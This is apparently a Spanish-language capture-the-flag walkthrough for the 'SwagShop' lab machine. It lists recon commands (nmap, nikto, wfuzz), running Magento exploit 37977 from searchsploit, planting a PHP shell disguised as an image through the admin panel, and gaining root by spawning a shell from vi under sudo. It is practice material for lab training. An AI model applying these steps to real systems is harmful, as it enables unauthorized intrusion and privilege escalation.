Cu3rv0x

nmap -A -p- -oA swagshop 10.129.95.151 --min-rate=10000 --script=vuln --script-timeout=15 -v

Pasted image 20210823115151.png

nmap -sC -sV -O -p- -oA swagshop 10.129.95.151

nmap -sU -O -p- -oA swagshop-udp 10.129.95.151

nikto -h 10.129.95.151:80

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://swagshop.htb/index.php/FUZZ

Pasted image 20210823120436.png

Pasted image 20210823115338.png

whatweb http://10.129.95.151

echo "10.129.95.151 swagshop.htb" | sudo tee -a /etc/hosts

Pasted image 20210823115521.png

Vamos a http://swagshop.htb

Pasted image 20210823115947.png

Vamos a http://swagshop.htb/index.php/admin

Pasted image 20210823120609.png

searchsploit magento

Pasted image 20210823120856.png

searchsploit -m 37977

Pasted image 20210823121431.png

Cambiamos el target a la ip de la maquina

Pasted image 20210823121511.png

python2 37977.py

Pasted image 20210823121626.png

Vamos a system->Configuration->Developer

Pasted image 20210823121918.png

Pasted image 20210823121937.png

Pasted image 20210823122026.png

Vamos a Catalog->Manage Categories

Pasted image 20210823122145.png

Creamos un archivo llamado shell.php.png Y le ponemos el siguiente codigo de php

Pasted image 20210823122540.png

Le damos save category

Pasted image 20210823122735.png

Vamos a newsletter y le damos click a Add New Template

Pasted image 20210823122835.png

Pasted image 20210823123528.png

Guardamos y le damos click a Preview Template

Pasted image 20210823131406.png

whoami

cd /home/harris

Pasted image 20210823131901.png

sudo -l

sudo -u root vi /var/www/html/test

Pasted image 20210823131802.png

En vi hacemos lo siguiente

:set shell=/bin/bash

:shell

Pasted image 20210823131816.png

Pasted image 20210823132739.png